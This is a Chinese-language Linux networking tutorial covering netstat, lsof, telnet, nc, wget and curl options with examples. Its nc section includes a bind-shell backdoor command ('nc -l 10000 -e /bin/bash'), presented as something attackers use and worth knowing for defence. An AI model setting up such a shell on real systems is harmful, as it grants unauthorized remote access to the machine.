Linux 网络管理&请求
netstat 显示网络状态
Linux netstat 命令用于显示网络状态。
利用 netstat 指令可让你得知整个 Linux 系统的网络情况。
显示详细的网络状况
netstat -a
-t 或--tcp 显示TCP传输协议的连线状况。 -u 或--udp 显示UDP传输协议的连线状况。
查看某端口占用情况
查看某端口占用情况
lsof -i :端口号
以下命令可用于杀死占用某端口的所有进程。
kill -9 $(lsof -i tcp:进程号 -t)
查找端口对应的文件
nginx 服务器有很多项目,根据不同的端口号配置了多个项目的访问。现在需要查询端口号 8088 所占用的进程,并且查询进程启动的项目文件所在位置。
根据端口号查询进程ID
netstat -apn | grep 8088
根据进程ID查询启动的句柄(socket)
第一种方法(不推荐)
ps -aux | grep 1205
第二种方法(推荐)
lsof -p 1205
telnet 命令
telnet 命令通常用来远程登录。但是,telnet 因为采用明文传送报文,安全性不好,很多 Linux 服务器都不开放 telnet 服务,而改用更安全的 SSH 方式了。不过还是可以使用它来简单连接一些服务,或者测试连通性
测试端口联通性
telnet ip port
使用例:
nc 命令 ⭐
ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。
ncat/nc 既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。
监听入站连接
通过 -l 选项,ncat 可以进入监听模式,使我们可以在指定端口监听入站连接。
# nc -l port_number
nc -l 8080
服务器就会开始在 8080 端口监听入站连接,但是注意这个监听是要占用这个端口的
连接远程系统
使用下面命令可以用 nc 来连接远程系统
nc IP_address port_number
如下:
nc 192.168.43.22 80
可以输入下面内容来获取完整的网页内容
GET / HTTP/1.1
连接 UDP 端口
默认情况下,nc 创建连接时只会连接 TCP 端口。 不过可以使用 -u
选项来连接到 UDP 端口
nc -l -u 1234
现在系统会开始监听 UDP 的 1234 端口,可以使用下面的 netstat
命令来验证这一点,
$ netstat -tunlp | grep 1234
udp 0 0 0.0.0.0:1234 0.0.0.0:* 17341/nc
udp6 0 0 :::1234 :::* 17341/nc
假设我们想发送或者说测试某个远程主机 UDP 端口的连通性,我们可以使用下面命令
nc -v -u {host-ip} {udp-port}
如下
[root@localhost ~]# nc -v -u 192.168.105.150 53
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.105.150:53。
简单的 TCP 连接
nc 也可以作为聊天工具来用,可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。 在服务器这端运行:
nc -l 8080
在远程客户端主机上运行:
nc 192.168.1.100 8080
之后开始发送消息,这些消息会在服务器终端上显示出来。
通过 nc 进行端口转发
通过选项 -c
来用 nc 进行端口转发,实现端口转发的语法为:
nc -u -l 80 -c 'nc -u -l 8080'
这样,所有连接到 80 端口的连接都会转发到 8080 端口。
通过 nc 远程连接
nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为:
nc -l 10000 -e /bin/bash
-e
标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:
nc 192.168.1.100 10000
设置连接超时
nc 的监听模式会一直运行,直到手工终止。 不过可以通过选项 -w
设置超时时间:
nc -w 10 192.168.1.100 8080
这回导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。
使用 -k 选项强制 nc 待命
当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k
我们可以强制服务器保持连接并继续监听端口。 命令如下:
nc -l -k 8080
现在即使来自客户端的连接断了也依然会处于待命状态。
wget 命令
wget 命令用于在终端中下载文件,格式为:
wget [参数] 下载地址
常用命令参数:
参数 | 作用 |
---|---|
-b | –background 启动后转入后台执行 |
-P | 下载到指定目录 |
-t | 最大尝试次数 |
-c | 断点续传 |
-P | 下载页面的所有资源,包括图片视频 |
-r | 递归下载 |
启动参数
-V, –version 显示wget的版本后退出
-h, –help 打印语法帮助
-b, –background 启动后转入后台执行
-e, –execute=COMMAND 执行`.wgetrc’格式的命令,wgetrc格式参见/etc/wgetrc或~/.wgetrc
记录和输入文件参数
-o, –output-file=FILE 把记录写到FILE文件中
-a, –append-output=FILE 把记录追加到FILE文件中
-d, –debug 打印调试输出
-q, –quiet 安静模式(没有输出)
-v, –verbose 冗长模式(这是缺省设置)
-nv, –non-verbose 关掉冗长模式,但不是安静模式
-i, –input-file=FILE 下载在FILE文件中出现的URLs
-F, –force-html 把输入文件当作HTML格式文件对待
-B, –base=URL 将URL作为在-F -i参数指定的文件中出现的相对链接的前缀
–sslcertfile=FILE 可选客户端证书
–sslcertkey=KEYFILE 可选客户端证书的KEYFILE
–egd-file=FILE 指定EGD socket的文件名
下载参数
–bind-address=ADDRESS 指定本地使用地址(主机名或IP,当本地有多个IP或名字时使用)
-t, –tries=NUMBER 设定最大尝试链接次数(0 表示无限制).
-O –output-document=FILE 把文档写到FILE文件中
-nc, –no-clobber 不要覆盖存在的文件或使用.#前缀
-c, –continue 接着下载没下载完的文件
–progress=TYPE 设定进程条标记
-N, –timestamping 不要重新下载文件除非比本地文件新
-S, –server-response 打印服务器的回应
–spider 不下载任何东西
-T, –timeout=SECONDS 设定响应超时的秒数
-w, –wait=SECONDS 两次尝试之间间隔SECONDS秒
–waitretry=SECONDS 在重新链接之间等待1…SECONDS秒
–random-wait 在下载之间等待0…2*WAIT秒
-Y, –proxy=on/off 打开或关闭代理
-Q, –quota=NUMBER 设置下载的容量限制
–limit-rate=RATE 限定下载输率
目录参数
-nd –no-directories 不创建目录
-x, –force-directories 强制创建目录
-nH, –no-host-directories 不创建主机目录
-P, –directory-prefix=PREFIX 将文件保存到目录 PREFIX/…
–cut-dirs=NUMBER 忽略 NUMBER层远程目录
递归下载参数
-r, –recursive 递归下载--慎用!
-l, –level=NUMBER 最大递归深度 (inf 或 0 代表无穷)
–delete-after 在现在完毕后局部删除文件
-k, –convert-links 转换非相对链接为相对链接
-K, –backup-converted 在转换文件X之前,将之备份为 X.orig
-m, –mirror 等价于 -r -N -l inf -nr
-p, –page-requisites 下载显示HTML文件的所有图片
curl 工具
curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思。它的功能非常强大,命令行参数多达几十种。如果熟练的话,完全可以取代 Postman 这一类的图形界面工具。
不带有任何参数时,curl 就是发出 GET 请求。
curl https://www.example.com
指定请求类型
-X
参数指定 HTTP 请求的方法。
$ curl -X POST https://www.example.com
设置请求头
-H
参数添加 HTTP 请求的标头。
$ curl -H 'Accept-Language: en-US' https://google.com
上面命令添加 HTTP 标头 Accept-Language: en-US
。
$ curl -H 'Accept-Language: en-US' -H 'Secret-Message: xyzzy' https://google.com
上面命令添加两个 HTTP 标头。
$ curl -d '{"login": "emma", "pass": "123"}' -H 'Content-Type: application/json' https://google.com/login
上面命令添加 HTTP 请求的标头是 Content-Type: application/json
,然后用 -d
参数发送 JSON 数据。
设置请求的客户端
-A
参数指定客户端的用户代理标头,即 User-Agent。
curl 的默认用户代理字符串是 curl/[version]
curl -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36' https://google.com
上面命令将 User-Agent 改成 Chrome 浏览器。
curl -A '' https://google.com
上面命令会移除 User-Agent 标头。
也可以通过 -H
参数直接指定标头,更改 User-Agent。
curl -H 'User-Agent: php/1.0' https://google.com
发送 Cookie
-b
参数用来向服务器发送 Cookie
curl -b 'foo=bar' https://google.com
上面命令会生成一个标头 Cookie: foo=bar
,向服务器发送一个名为foo、值为bar的 Cookie。
curl -b 'foo1=bar;foo2=bar2' https://google.com
上面命令发送两个 Cookie。
curl -b cookies.txt https://www.google.com
上面命令读取本地文件 cookies.txt,里面是服务器设置的 Cookie(参见 -c
参数),将其发送到服务器。
-c
参数将服务器设置的 Cookie 写入一个文件。
curl -c cookies.txt https://www.google.com
上面命令将服务器的 HTTP 回应所设置 Cookie 写入文本文件 cookies.txt
上传二进制文件
-F
参数用来向服务器上传二进制文件。
$ curl -F 'file=@photo.png' https://google.com/profile
上面命令指定 MIME 类型为 image/png
,否则 curl 会把 MIME 类型设为 application/octet-stream
。
-F
参数也可以指定文件名。
$ curl -F 'file=@photo.png;filename=me.png' https://google.com/profile
上面命令中,原始文件名为 photo.png
,但是服务器接收到的文件名为 me.png
。
添加请求体
-d
参数用于发送 POST 请求的数据体。
$ curl -d'login=emma&password=123'-X POST https://google.com/login
# 或者
$ curl -d 'login=emma' -d 'password=123' -X POST https://google.com/login
使用 -d
参数以后,HTTP 请求会自动加上标头 Content-Type : application/x-www-form-urlencoded
。并且会自动将请求转为 POST 方法,因此可以省略 -X POST
。
-d
参数可以读取本地文本文件的数据,向服务器发送。
$ curl -d '@data.txt' https://google.com/login
上面命令读取 data.txt
文件的内容,作为数据体向服务器发送。
--data-urlencode
参数等同于 -d
,发送 POST 请求的数据体,区别在于会自动将发送的数据进行 URL 编码。
$ curl --data-urlencode 'comment=hello world' https://google.com/login
上面代码中,发送的数据 hello world
之间有一个空格,需要进行 URL 编码。
添加请求的来源
-e
参数用来设置 HTTP 的标头Referer,表示请求的来源。
curl -e 'https://google.com?q=example' https://www.example.com
上面命令将 Referer 标头设为 https://google.com?q=example
-H
参数可以通过直接添加标头 Referer,达到同样效果。
curl -H 'Referer: https://google.com?q=example' https://www.example.com
设置请求代理
-x
参数指定 HTTP 请求的代理。
$ curl -x socks5://james:cats@myproxy.com:8080 https://www.example.com
上面命令指定 HTTP 请求通过 myproxy.com:8080
的 socks5 代理发出。
如果没有指定代理协议,默认为 HTTP。
$ curl -x james:cats@myproxy.com:8080 https://www.example.com
上面命令中,请求的代理使用 HTTP 协议。
保存文件
-o
参数将服务器的回应保存成文件,等同于 wget 命令。
$ curl -o example.html https://www.example.com
上面命令将 www.example.com
保存成 example.html
。
-O
参数将服务器回应保存成文件,并将 URL 的最后部分当作文件名。
$ curl -O https://www.example.com/foo/bar.html
上面命令将服务器回应保存成文件,文件名为 bar.html
。